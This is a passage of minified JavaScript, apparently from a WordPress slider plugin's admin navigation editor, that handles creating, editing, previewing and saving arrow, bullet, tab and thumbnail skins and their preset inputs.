Select"})}e&&RVS.F.updateEasyInputs({container:jQuery("#nav_form_collector"),path:"settings."})},RVS.F.openNavigationEditor=function(){if(RVS.nav=void 0===RVS.nav?{}:RVS.nav,RVS.nav.toSave=!1,RVS.nav.toDelete=[],"FAIL"!==RVS.nav.editor)if("undefined"==typeof RevMirror||void 0===RevMirror)RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.loadingRevMirror}),RVS.F.loadCSS(RVS.ENV.plugin_url+"/admin/assets/css/RevMirror.css"),jQuery.getScript(RVS.ENV.plugin_url+"/admin/assets/js/plugins/RevMirror.js",function(){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),RVS.F.openNavigationEditor()}).fail(function(e,t,i){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),window.nav.editor="FAIL"});else{if(void 0===RVS.nav.editor){var c=jQuery("#nav_fontfamily"),p="";for(var R in RVS.LIB.FONTS)RVS.LIB.FONTS.hasOwnProperty(R)&&"Dont Show Me"!==RVS.LIB.FONTS[R].label&&(p+='<option value="'+RVS.LIB.FONTS[R].label+'">'+RVS.LIB.FONTS[R].label+"</option>");c.append(p),c.ddTP({placeholder:"Enter or Select"}),c.ddTP("change"),V(),RVS.nav.editor=RevMirror(document.getElementById("rs_nav_css_js_area"),{value:"",mode:"css",theme:"hopscotch",lineWrapping:!0,lineNumbers:!1}),RVS.DOC.on("click",".rs_ne_nav_skin",function(){S(this)}),RVS.DOC.on("click","#rbm_navigation_editor .rbm_close",function(){RVS.nav.toSave?RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"warning",title:RVS_LANG.warning,maintext:RVS_LANG.changesdone_exit,subtext:RVS_LANG.exitwihoutchangesornot,do:{icon:"exit_to_app",text:RVS_LANG.leavewithoutsave,event:"leavaeditorwithoutsave"},cancel:{icon:"cancel",text:RVS_LANG.stayineditor}}):(d(),RVS.F.RSDialog.close(),RVS.F.buildNavigationLists(!0))}),RVS.DOC.on("leavaeditorwithoutsave",function(){for(var e in r)r.hasOwnProperty(e)&&(RVS.nav[r[e]]=jQuery.extend(!0,{},RVS.nav.cache[r[e]]));RVS.nav.toDelete=[],RVS.nav.toSave=!1,jQuery("#save_naveditor").hide(),d()}),RVS.DOC.on("click","#save_naveditor",RVS.F.savechangesonnavigation),RVS.DOC.on("click",".rs_ne_selector",function(){RVS.F.pickNavType(this)}),RVS.DOC.on("click",".rs_ne_nskin_meta_config",function(){switch(jQuery("#rs_ne_cssmeta_config").show(),jQuery("#rs_ne_cssmeta_values").hide(),RVS.nav.currentPlaceholder=this.dataset.placeholder,jQuery("#rs_ne_meta_type").val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].type).ddTP("change").change(),document.getElementById("rs_ne_def_meta_title").value=RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].title,document.getElementById("rs_ne_def_meta_handle").value=RVS.nav.currentPlaceholder,RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].type){case"color":jQuery("#rs_ne_def_meta_color_val").val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data).rsColorPicker("refresh");break;case"icon":jQuery("#rs_ne_def_meta_icon_val").val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data);var e=RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data;e=e.length>0?e.replace("\\",""):e,jQuery(".rs_ne_pick.selected").removeClass("selected"),jQuery(".rs_ne_icon_"+e).addClass("selected");break;case"custom":jQuery("#rs_ne_def_meta_custom_val").val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data);break;case"font-family":var t=jQuery("#nav_fontfamily");t.val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data),t.ddTP("change")}}),RVS.DOC.on("click","#add_new_placeholder",function(){jQuery("#rs_ne_cssmeta_config").show(),jQuery("#rs_ne_cssmeta_values").hide(),RVS.nav.currentPlaceholder="in_create_process",document.getElementById("rs_ne_def_meta_title").value="",document.getElementById("rs_ne_def_meta_handle").value="",jQuery("#rs_ne_def_meta_color_val").val("#ffffff"),jQuery("#rs_ne_def_meta_icon_val").val(),jQuery("#rs_ne_def_meta_custom_val").val(),jQuery("#nav_fontfamily").val("Arial"),l()}),RVS.DOC.on("change","#rs_ne_nav_classname",function(){var e=RVS.nav.currentSkin.handle,t=RVS.F.sanitize_input_lc(this.value.toLowerCase());if(this.value=t,e!==t){if(RVS.F.checkSkinHandle(this.value))jQuery("#rs_ne_nav_classname").addClass("badvalue");else{jQuery("#rs_ne_nav_classname").removeClass("badvalue"),RVS.nav.currentSkin.handle=t;var i=new RegExp("\\."+e,"g");RVS.nav.currentSkin.css=RVS.nav.currentSkin.css.replace(i,"."+t),RVS.nav.editor.setValue(RVS.nav.currentSkin[RVS.nav.currentEditorMode])}o()}}),RVS.DOC.on("setrsnavtovertical",function(){jQuery("#rs_ne_horizontaltest").removeClass("selected"),jQuery("#rs_ne_verticaltest").addClass("selected"),RVS.nav.currentAlignMode="vertical",RVS.F.drawEditorNavigation()}),RVS.DOC.on("setrsnavtohorizontal",function(){jQuery("#rs_ne_horizontaltest").addClass("selected"),jQuery("#rs_ne_verticaltest").removeClass("selected"),RVS.nav.currentAlignMode="horizontal",RVS.F.drawEditorNavigation()}),RVS.DOC.on("rsdimgapchange",function(e,t){if(void 0!==t&&void 0!==t.eventparam){switch(t.eventparam){case"width":case"height":RVS.nav.currentSkin.dim[t.eventparam]=t.val,o();break;case"space":RVS.nav.currentTestSpace=t.val}RVS.F.drawEditorNavigation()}}),RVS.DOC.on("setrsnavposition",function(){switch(jQuery("#rs_nav_test_position").val()){case"left top":RVS.nav.currentPosVer="top",RVS.nav.currentPosHor="left";break;case"center top":RVS.nav.currentPosVer="top",RVS.nav.currentPosHor="center";break;case"right top":RVS.nav.currentPosVer="top",RVS.nav.currentPosHor="right";break;case"left center":RVS.nav.currentPosVer="center",RVS.nav.currentPosHor="left";break;case"center center":RVS.nav.currentPosVer="center",RVS.nav.currentPosHor="center";break;case"right center":RVS.nav.currentPosVer="center",RVS.nav.currentPosHor="right";break;case"left bottom":RVS.nav.currentPosVer="bottom",RVS.nav.currentPosHor="left";break;case"center bottom":RVS.nav.currentPosVer="bottom",RVS.nav.currentPosHor="center";break;case"right bottom":RVS.nav.currentPosVer="bottom",RVS.nav.currentPosHor="right"}RVS.F.drawEditorNavigation()}),RVS.DOC.on("change","#rs_ne_def_meta_title",l),RVS.DOC.on("change","#rs_ne_def_meta_handle",function(){this.value=RVS.F.sanitize_input_lc(this.value),l()}),RVS.DOC.on("click",".rs_ne_pick",function(){jQuery(".rs_ne_pick.selected").removeClass("selected"),this.className+=" selected",jQuery("#rs_ne_def_meta_icon_val").val(this.dataset.content)}),RVS.DOC.on("click",".rs_ne_nskin_meta_add, .rs_ne_markup_meta_btn",function(){return RVS.nav.infactorymode||RVS.F.insertTextAtCursor(RVS.nav.editor,this.dataset.insert),!1}),RVS.DOC.on("closenavmetavalue",function(){jQuery("#rs_ne_cssmeta_config").hide(),jQuery("#rs_ne_cssmeta_values").show()}),RVS.DOC.on("updatenavmetavalue",function(){var e=document.getElementById("rs_ne_def_meta_handle").value;switch(RVS.nav.currentSkin.placeholders=""===RVS.nav.currentSkin.placeholders||void 0===RVS.nav.currentSkin.placeholders||"string"==typeof RVS.nav.currentSkin.placeholders?{}:RVS.nav.currentSkin.placeholders,RVS.nav.currentSkin.placeholders[e]=void 0===RVS.nav.currentSkin.placeholders[e]||""==RVS.nav.currentSkin.placeholders[e]?{}:RVS.nav.currentSkin.placeholders[e],RVS.nav.currentSkin.placeholders[e].type=document.getElementById("rs_ne_meta_type").value,RVS.nav.currentSkin.placeholders[e].title=document.getElementById("rs_ne_def_meta_title").value,RVS.nav.currentSkin.placeholders[e].type){case"color":RVS.nav.currentSkin.placeholders[e].data=document.getElementById("rs_ne_def_meta_color_val").value;break;case"icon":RVS.nav.currentSkin.placeholders[e].data=document.getElementById("rs_ne_def_meta_icon_val").value;break;case"custom":RVS.nav.currentSkin.placeholders[e].data=document.getElementById("rs_ne_def_meta_custom_val").value;break;case"font-family":RVS.nav.currentSkin.placeholders[e].data=document.getElementById("nav_fontfamily").value}e!==RVS.nav.currentPlaceholder&&delete RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder],n(),jQuery("#rs_ne_cssmeta_config").hide(),jQuery("#rs_ne_cssmeta_values").show(),RVS.F.drawEditorNavigation(),o()}),RVS.DOC.on("click",".rs_ne_nskin_edit",function(){var e=jQuery(this).closest(".rs_ne_nav_skin");return e[0].dataset.mode="rename",e.addClass("rs_changename"),e.find("input").trigger("focus").trigger("select"),RVS.S.waitOnFeedback={allowed:["rs_ne_nskin_title_input","rs_ne_nskin_yes","rs_ne_nskin_no","rbm_close"],closeEvent:"hideCustomNavNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".rs_ne_nskin_delete",function(){var e=jQuery(this).closest(".rs_ne_listelement");return e[0].dataset.mode="delete",e.addClass("rs_showmessage"),e.find(".rs_ne_nskin_message").text(RVS_LANG.deletetemplate),RVS.S.waitOnFeedback={allowed:["rs_ne_nskin_yes","rs_ne_nskin_no","rbm_close"],closeEvent:"hideCustomNavNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".rs_ne_nskin_copy",function(){var e=jQuery(this).closest(".rs_ne_nav_skin");RVS.nav.currentMaxid++,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid]=jQuery.extend(!0,{},RVS.nav[e[0].dataset.type][e[0].dataset.handle]);var t=RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].handle,i=RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].handle+"_copy"+Math.round(100*Math.random()+10);!0===RVS.F.checkSkinHandle(i)&&(i+=Math.round(100*Math.random()+10)),!0===RVS.F.checkSkinHandle(i)&&(i+=Math.round(100*Math.random()+10)),RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].factory=!1,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].name+=" Copy",RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].handle=i,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].changed=!0,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].id="new_"+RVS.nav.currentMaxid,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].presets={};var a=new RegExp("\\."+t,"g");return RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].css=RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].css.replace(a,"."+i),RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),s(e[0].dataset.type),o(),!1}),RVS.DOC.on("click","#rs_ne_new_custom_nav",function(){RVS.nav.currentMaxid++,RVS.nav[RVS.nav.currentSkinType]["new_"+RVS.nav.currentMaxid]=RVS.F.createNewNavigation(RVS.nav.currentSkinType),s(RVS.nav.currentSkinType),jQuery("#rs_ne_nav_skin_new_"+RVS.nav.currentMaxid).trigger("click"),jQuery("#rs_ne_nav_skin_new_"+RVS.nav.currentMaxid+" .rs_ne_nskin_edit").trigger("click"),o()}),RVS.DOC.on("hideCustomNavNameEntering",function(){jQuery(".rs_changename").removeClass("rs_changename")}),RVS.DOC.on("click",".rs_ne_nskin_yes",function(){var e=jQuery(this).closest(".rs_ne_listelement"),t=e.find("input");return"rename"===e[0].dataset.mode?(RVS.nav[e[0].dataset.type][e[0].dataset.handle].name=t.val(),RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),s(e[0].dataset.type),o(),!1):"delete"===e[0].dataset.mode?(e.hasClass("rs_ne_meta_value_btn")?(delete RVS.nav.currentSkin.placeholders[e[0].dataset.placeholder],RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),n(),RVS.F.drawEditorNavigation()):(void 0!==RVS.nav.cache[e[0].dataset.type][e[0].dataset.handle]&&RVS.nav.toDelete.push(e[0].dataset.handle),delete RVS.nav[e[0].dataset.type][e[0].dataset.handle],RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),s(e[0].dataset.type)),o(),!1):void 0}),RVS.DOC.on("click",".rs_ne_nskin_no",function(){var e=jQuery(this).closest(".rs_ne_listelement");return RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),e.hasClass("rs_ne_meta_value_btn")?n():s(e[0].dataset.type),!1}),RVS.DOC.on("click",".rs_ne_markup_css_button",function(){RVS.F.pickMarkupCssMode(this)}),RVS.nav.editor.on("change",function(){void 0!==RVS.nav.currentSkin&&void 0!==RVS.nav.currentEditorMode&&void 0!==RVS.nav.currentSkin[RVS.nav.currentEditorMode]&&RVS.nav.currentSkin[RVS.nav.currentEditorMode]!==RVS.nav.editor.getValue()&&(RVS.nav.currentSkin[RVS.nav.currentEditorMode]=RVS.nav.editor.getValue(),RVS.F.drawEditorNavigation(),o())})}for(var u in RVS.nav.cache={},r)r.hasOwnProperty(u)&&(RVS.nav.cache[r[u]]=jQuery.extend(!0,{},RVS.nav[r[u]]));RVS.nav.currentMaxid=0,s("arrows"),RVS.F.RSDialog.create({modalid:"rbm_navigation_editor",bgopacity:.5}),jQuery(".emc_toggle_inner").RSScroll({suppressScrollX:!0}),RVS.nav.editor.refresh(),e.detach(),t.detach(),i.detach(),a.tabs.self.detach(),a.thumbs.self.detach();var y="arrows";for(var u in r)if(r.hasOwnProperty(u)){var m=document.querySelector('[data-pcontainer="#nav_settings"] .selected');if(m&&m.dataset&&m.dataset.forms&&m.dataset.forms.indexOf(r[u])>=0){y=r[u];break}}var f=void 0!==RVS.SLIDER.settings.nav[y]?RVS.SLIDER.settings.nav[y].style:"1000";RVS.F.pickNavType(document.getElementById("rs_ne_selector_"+y));var h=jQuery('#rs_ne_navlist .rs_ne_nav_skin[data-handle="'+f+'"]');h.length>0&&S(h[0]),RVS.F.pickMarkupCssMode(document.getElementById("rs_ne_mcss_thecsseditor"))}},RVS.F.drawEditorNavigation=function(){void 0===RVS.nav.c&&(RVS.nav.c={arrows:jQuery("#rs_ne_arrows"),left:jQuery("#rs_ne_tp-leftarrow"),right:jQuery("#rs_ne_tp-rightarrow"),bullets:jQuery("#rs_ne_bullets"),tabs:{self:jQuery("#rs_ne_tabs"),inner:jQuery("#rs_ne_tabs-inner-wrapper"),mask:jQuery("#rs_ne_tabs-mask"),single:"tp-tab"},thumbs:{self:jQuery("#rs_ne_thumbs"),inner:jQuery("#rs_ne_thumbs-inner-wrapper"),mask:jQuery("#rs_ne_thumbs-mask"),single:"tp-thumb"}}),RVS.nav.currentTestSpace=null==RVS.nav.currentTestSpace?5:RVS.nav.currentTestSpace,RVS.nav.currentTestPadding=10,RVS.nav.currentAlignMode=null==RVS.nav.currentAlignMode?"horizontal":RVS.nav.currentAlignMode,RVS.nav.currentPosVer=null==RVS.nav.currentPosVer?"bottom":RVS.nav.currentPosVer,RVS.nav.currentPosHor=null==RVS.nav.currentPosHor?"center":RVS.nav.currentPosHor;var e=RVS.F.sanitize_input(RVS.nav.currentSkin.handle.toLowerCase())+" "+RVS.F.sanitize_input(RVS.nav.currentSkin.name.toLowerCase()),t=p({type:RVS.nav.currentSkinType,skin:RVS.nav.currentSkin,default:!0});switch(RVS.nav.currentSkinType){case"arrows":var i=RVS.nav.currentSkin.markup.replace("##title##","Title");RVS.nav.c.left[0].className="tparrows tp-leftarrow "+e,RVS.nav.c.right[0].className="tparrows tp-rightarrow "+e,RVS.nav.c.left[0].innerHTML=t+i,RVS.nav.c.right[0].innerHTML=i,RVS.nav.c.arrows.show(),RVS.nav.c.bullets.hide(),RVS.nav.c.tabs.self.hide(),RVS.nav.c.thumbs.self.hide();break;case"bullets":RVS.nav.c.arrows.hide(),RVS.nav.c.tabs.self.hide(),RVS.nav.c.thumbs.self.hide(),RVS.nav.c.bullets.show(),RVS.nav.c.bullets[0].className="tp-bullets "+e+" nav-dir-"+RVS.nav.currentAlignMode+" nav-pos-ver-"+RVS.nav.currentPosVer+" nav-pos-hor-"+RVS.nav.currentPosHor;i=RVS.nav.currentSkin.markup.replace("##title##","Slide Title");for(var a="",r=0;r<=4;r++)a+='<div class="tp-bullet '+(0==r?"selected":"")+'">'+i+"</div>";RVS.nav.c.bullets[0].innerHTML=t+a,RVS.nav.c.bullets.find(".tp-bullet").each(function(e){var t=jQuery(this),i=t.outerWidth()+parseInt(void 0===RVS.nav.currentTestSpace?0:RVS.nav.currentTestSpace,0),a=t.outerHeight()+parseInt(void 0===RVS.nav.currentTestSpace?0:RVS.nav.currentTestSpace,0);"vertical"===RVS.nav.currentAlignMode?(t.css({top:e*a+"px",left:"0px"}),tpGS.gsap.set(RVS.nav.c.bullets,{height:4*a+t.outerHeight(),width:t.outerWidth()})):(t.css({left:e*i+"px",top:"0px"}),tpGS.gsap.set(RVS.nav.c.bullets,{width:4*i+t.outerWidth(),height:t.outerHeight()}))});break;case"tabs":case"thumbs":var s=RVS.nav.currentSkinType,o=s.replace("s","");RVS.nav.c.arrows.hide(),RVS.nav.c.bullets.hide(),RVS.nav.c.tabs.self.hide(),RVS.nav.c.thumbs.self.hide(),RVS.nav.c[s].self.show(),RVS.nav.c[s].self[0].className="tp-"+s+" "+e+" nav-dir-"+RVS.nav.currentAlignMode+" nav-pos-ver-"+RVS.nav.currentPosVer+" nav-pos-hor-"+RVS.nav.currentPosHor;for(i=RVS.nav.currentSkin.markup.replace("##title##","Slide Title"),a="",r=0;r<10;r++)i=i.replace("##param"+r+"##","Parameter "+r);for(r=0;r<=2;r++)a+='<div class="'+e+" tp-"+o+" "+(0==r?"selected":"")+'">'+i+"</div>";RVS.nav.c[s].inner[0].innerHTML=t+a;var n=parseInt(RVS.nav.currentSkin.dim.width,0)+parseInt(RVS.nav.currentTestSpace,0),l=parseInt(RVS.nav.currentSkin.dim.height,0)+parseInt(RVS.nav.currentTestSpace,0);tpGS.gsap.set(RVS.nav.c[s].self,{padding:RVS.nav.currentTestPadding}),RVS.nav.currentTestPadding=parseInt(RVS.nav.currentTestPadding,0),RVS.nav.c[s].inner.find("."+RVS.nav.c[s].single).each(function(e){"vertical"===RVS.nav.currentAlignMode?tpGS.gsap.set(this,{top:e*l+"px",left:"0px",width:RVS.nav.currentSkin.dim.width+"px",height:RVS.nav.currentSkin.dim.height+"px"}):tpGS.gsap.set(this,{left:e*n+"px",top:"0px",width:RVS.nav.currentSkin.dim.width+"px",height:RVS.nav.currentSkin.dim.height+"px"})});var d="horizontal"===RVS.nav.currentAlignMode?3*RVS.nav.currentSkin.dim.width+2*RVS.nav.currentTestSpace:RVS.nav.currentSkin.dim.width,S="horizontal"===RVS.nav.currentAlignMode?RVS.nav.currentSkin.dim.height:3*RVS.nav.currentSkin.dim.height+2*RVS.nav.currentTestSpace,c={width:d+"px",height:S+"px",overwrite:"auto"},R={top:"auto",left:"auto",bottom:"auto",marginTop:"0px",marginBottom:"0px",right:"auto",y:"0%",x:"0px",width:d+"px",height:S+"px",overflow:"hidden",position:"relative",overwrite:"auto",marginLeft:"auto",marginRight:"auto"};tpGS.gsap.set(RVS.nav.c[s].self,c),tpGS.gsap.set(RVS.nav.c[s].mask,R)}},RVS.F.savechangesonnavigation=function(){for(var e in RVS.nav.changes={},RVS.nav.currentHandle=void 0!==RVS.nav.currentSkin?RVS.nav.currentSkin.handle:void 0,r)if(r.hasOwnProperty(e))for(var t in RVS.nav[r[e]])if(RVS.nav[r[e]].hasOwnProperty(t)&&RVS.nav[r[e]][t].changed){RVS.nav.changes[t]=jQuery.extend(!0,{},RVS.nav[r[e]][t]),delete RVS.nav.changes[t].changed;try{var i=RVS.SLIDER[RVS.S.slideId].slide.nav[r[e]].presets;for(var a in RVS.nav.changes[t].placeholders)RVS.nav.changes[t].placeholders.hasOwnProperty(a)&&void 0!==i[a]&&!0!==i[a+"-def"]&&(i[a]=RVS.nav.changes[t].placeholders[a].data)}catch(e){}}RVS.F.ajaxRequest("save_navigation",{navs:RVS.nav.changes,delete:RVS.nav.toDelete},function(e){for(var t in r)r.hasOwnProperty(t)&&(RVS.nav[r[t]]=jQuery.extend(!0,{},e.navs[r[t]]));if(void 0!==RVS.nav.currentHandle){var i;for(var t in s(RVS.nav.currentSkinType),RVS.nav[RVS.nav.currentSkinType])RVS.nav[RVS.nav.currentSkinType].hasOwnProperty(t)&&(i=void 0===i&&RVS.nav[RVS.nav.currentSkinType][t].handle==RVS.nav.currentHandle?t:i);void 0!==i&&jQuery("#rs_ne_nav_skin_"+i).trigger("click")}}),RVS.nav.toDelete=[],RVS.nav.toSave=!1,jQuery("#save_naveditor").hide(),RVS.F.updatePresetInputs({type:RVS.nav.currentSkinType,env:"slide"}),RVS.F.updatePresetInputs({type:RVS.nav.currentSkinType,env:"global"})},RVS.F.checkSkinHandle=function(e){var t=e.length<4||jQuery.inArray(e,["cursor","pointer","margin","padding","display","position","width","height","transition","relative","absolute","color","arrows","thumbs","arrow","thumb","tab","tabs","bullet","bullets","hover","z-index"])>=0;for(var i in RVS.nav[RVS.nav.currentSkinType])RVS.nav[RVS.nav.currentSkinType].hasOwnProperty(i)&&(t=!0===t||RVS.nav[RVS.nav.currentSkinType][i].handle===e);return t},RVS.F.bgUpdate=function(e,t){tpGS.gsap.set(a[e].self,{background:t})},RVS.F.pickMarkupCssMode=function(e){jQuery(".rs_ne_markup_css_button.selected").removeClass("selected"),jQuery(e.dataset.hide).hide(),jQuery(e.dataset.show).show(),RVS.nav.currentEditorMode=e.dataset.mode,e.className+=" selected",void 0!==RVS.nav.currentSkin&&RVS.nav.editor.setValue(RVS.nav.currentSkin[RVS.nav.currentEditorMode])},RVS.F.pickNavType=function(e){jQuery(".rs_ne_selector.selected").removeClass("selected"),e.className+=" selected",RVS.nav.currentSkinType=e.dataset.type,jQuery("#rs_ne_helper_wrap, #rs_ne_settings, #rs_ne_markup_css_button_wrap").hide(),jQuery("#rs_ne_cssmeta_config").hide(),jQuery("#rs_ne_cssmeta_values").show(),RVS.F.pickMarkupCssMode(document.getElementById("rs_ne_mcss_thecsseditor")),s(e.dataset.type),jQuery("#rs_ne_factory_list .rs_ne_nav_skin").first().trigger("click")},RVS.F.setNavPresetValues=function(e){var t=RVS.SLIDER.settings.nav[e.type];if("default"===t.preset)for(var i in RVS.nav[e.type][t.style].placeholders)RVS.nav[e.type][t.style].placeholders.hasOwnProperty(i)&&RVS.F.updateSliderObj({path:"settings.nav."+e.type+".presets",val:{}});else{var a=RVS.nav[e.type][t.style].presets[t.preset].values;for(var r in a)a.hasOwnProperty(r)&&(-1===r.indexOf("-def")?RVS.F.updateSliderObj({path:"settings.nav."+e.type+".presets."+r,val:a[r]}):"on"!==a[r]&&!0!==a[r]&&"true"!==a[r]||RVS.F.updateSliderObj({path:"settings.nav."+e.type+".presets."+r,val:!0}))}RVS.F.updateNavStyleSelection({init:!1,type:e.type})},RVS.F.updatePresetInputs=function(e){var t="slide"===e.env?RVS.SLIDER[RVS.S.slideId].slide.nav[e.type]:RVS.SLIDER.settings.nav[e.type],i="slide"===e.env?jQuery("#sl_"+e.type+"_styles_fieldset"):jQuery("#sr_"+e.type+"_styles_fieldset"),a="slide"===e.env?document.getElementById("form_slide_nav_"+e.type):document.getElementById("form_nav_"+e.type+"_style");RVS.SLIDER.settings.nav[e.type].style=void 0===RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style]?"arrows"===e.type?1e3:"bullets"===e.type?3e3:"thumbs"===e.type?2e3:4e3:RVS.SLIDER.settings.nav[e.type].style;var r,s,o,n,l,d,S=RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style].placeholders,c="slide"===e.env?void 0:RVS.SLIDER.settings.nav[e.type].preset,p=void 0!==c&&"default"!==c&&void 0!==RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style].presets[c]?RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style].presets[c].values:{},R="slide"===e.env?"sl_"+e.type+"_":"sr_"+e.type+"_",u="slide"===e.env?RVS.S.slideId+".slide.":"settings.",V="slide"===e.env?"slideinput":"sliderinput",m=RVS.F.cF();for(var f in t.presets=void 0===t.presets?{}:t.presets,S)if(S.hasOwnProperty(f)){s=void 0!==p[r=S[f]]?p[r]:r.data,o=!1,"default"!==t.preset&&void 0!==t.presets&&void 0!==t.presets[f]?(s=t.presets[f],o=t.presets[f+"-def"]):(t.presets[f]=s,t.presets[f+"-def"]=o),o=(n=y(o))?" checked='checked' ":"";var h=RVS.F.cE({t:"row",cN:"directrow navpresetrow"}),g=RVS.F.cE({t:"onelong"}),v=RVS.F.cE({t:"oneshort"}),_=RVS.F.cE({t:"label_a"}),L=RVS.F.cE({t:"label_icon"}),w=RVS.F.cE({t:"input",type:"checkbox",id:R+f+"-def",cN:"presetToCustom nav_"+e.type+"_custom_defaults "+V,ds:{evt:"redrawNavigation",evtparam:e.type,r:"nav."+e.type+".presets."+f+"-def"}});switch(_.innerText=r.title,w.checked=n,g.appendChild(_),v.appendChild(L),v.appendChild(w),h.appendChild(g),h.appendChild(v),r.type){case"font-family":var b=RVS.F.cE({t:"select",cN:"navstyleinput searchbox tos2 presetToCustom "+I,id:R+f,ds:{evt:"redrawNavigation",evtparam:e.type,theme:"minl120",r:u+"nav."+e.type+".presets."+f}});for(var F in g.appendChild(b),RVS.LIB.FONTS)RVS.LIB.FONTS.hasOwnProperty(F)&&"Dont Show Me"!==RVS.LIB.FONTS[F].label&&b.appendChild(RVS.F.CO(RVS.LIB.FONTS[F].label,RVS.LIB.FONTS[F].label));b.value=s;break;case"icon":case"custom":var I="";try{RVS.F.isNumeric(parseInt(s,0))&&(I=" valueduekeyboard")}catch(e){}if((d=RVS.F.cE({t:"input",type:"text",id:R+f,cN:"presetToCustom"+I+" navstyleinput",ds:{evt:"redrawNavigation",evtparam:e.type,r:u+"nav."+e.type+".presets."+f}})).value=s,"icon"===r.type){(l=RVS.F.cE({cN:"input_presets_wrap"})).appendChild(RVS.F.cI({cN:"input_presets_dropdown",c:"more_vertical"}));let e=RVS.F.cE({cN:"input_presets",ds:{insertinto:R+f}});e.innerHTML='<div class="font_icon_subcontainer"><i class="nav_preseticon_pick rs_ne_icon_e817 revicon-left-dir" data-content="\\e817"></i><i class="nav_preseticon_pick rs_ne_icon_e818 revicon-right-dir" data-content="\\e818"></i><i class="nav_preseticon_pick rs_ne_icon_e819 revicon-left-open" data-content="\\e819"></i><i class="nav_preseticon_pick rs_ne_icon_e81a revicon-right-open" data-content="\\e81a"></i><i class="nav_preseticon_pick rs_ne_icon_e820 revicon-angle-left" data-content="\\e820"></i><i class="nav_preseticon_pick rs_ne_icon_e81d revicon-angle-right" data-content="\\e81d"></i><i class="nav_preseticon_pick rs_ne_icon_e81f revicon-left-big" data-content="\\e81f"></i><i class="nav_preseticon_pick rs_ne_icon_e81e revicon-right-big" data-content="\\e81e"></i><i class="nav_preseticon_pick rs_ne_icon_e82a revicon-left-open-1" data-content="\\e82a"></i><i class="nav_preseticon_pick rs_ne_icon_e82b revicon-right-open-1" data-content="\\e82b"></i><i class="nav_preseticon_pick rs_ne_icon_e822 revicon-left-open-mini" data-content="\\e822"></i><i class="nav_preseticon_pick rs_ne_icon_e823 revicon-right-open-mini" data-content="\\e823"></i><i class="nav_preseticon_pick rs_ne_icon_e824 revicon-left-open-big" data-content="\\e824"></i><i class="nav_preseticon_pick rs_ne_icon_e825 revicon-right-open-big" data-content="\\e825"></i><i class="nav_preseticon_pick rs_ne_icon_e836 revicon-left" data-content="\\e836"></i><i class="nav_preseticon_pick rs_ne_icon_e826 revicon-right" data-content="\\e826"></i><i class="nav_preseticon_pick rs_ne_icon_e82e revicon-left-open-outline" data-content="\\e82e"></i><i class="nav_preseticon_pick rs_ne_icon_e82f revicon-right-open-outline" data-content="\\e82f"></i><i class="nav_preseticon_pick rs_ne_icon_e82c revicon-left-open-2" data-content="\\e82c"></i><i class="nav_preseticon_pick rs_ne_icon_e82d revicon-right-open-2" data-content="\\e82d"></i></div>',l.appendChild(e),l.prepend(d),g.appendChild(l)}else g.appendChild(d);break;case"color":case"color-rgba":s.indexOf(",")>=0&&-1==s.indexOf("(")&&(s=s.split(",").length>3?"rgba("+s+")":"rgb("+s+")"),h.className="directrow",(d=RVS.F.cE({t:"input",type:"text",id:R+f,cN:"navstyleinput presetToCustom my-color-field",ds:{evt:"redrawNavigation",evtparam:e.type,r:u+"nav."+e.type+".presets."+f,visible:"true",editing:RVS.F.capitalise(e.type)+" "+r.title,navcolor:"1",mode:"single"}})).name=f,d.value=s,g.appendChild(d)}m.appendChild(h)}for(var D in requestAnimationFrame(function(){i[0].innerHTML="",i[0].appendChild(m),i.find(".navstyleinput.searchbox.tos2.presetToCustom ").ddTP("destroy").ddTP({placeholder:"Enter or Select"}),RVS.F.initTpColorBoxes(i.find(".navstyleinput.presetToCustom.my-color-field")),RVS.F.initOnOff(i),""===i[0].innerHTML?a.classList.add("hide_while_empty"):a.classList.remove("hide_while_empty")}),t.presets){if(t.presets.hasOwnProperty(D))void 0===S[D.replace("-def","")]&&delete t.presets[D]}},RVS.F.updateNavStyleSelection=function(e){c({init:e.init,navobj:RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style],type:e.type,presetChange:e.presetChange}),RVS.F.drawNavigation({type:e.type,init:e.init,presetChange:e.presetChange})},RVS.F.drawNavigation=function(r){if(void 0!==r&&0!=RVS.SLIDER.slideIDs.length){var s=RVS.SLIDER.settings.nav[r.type],o=void 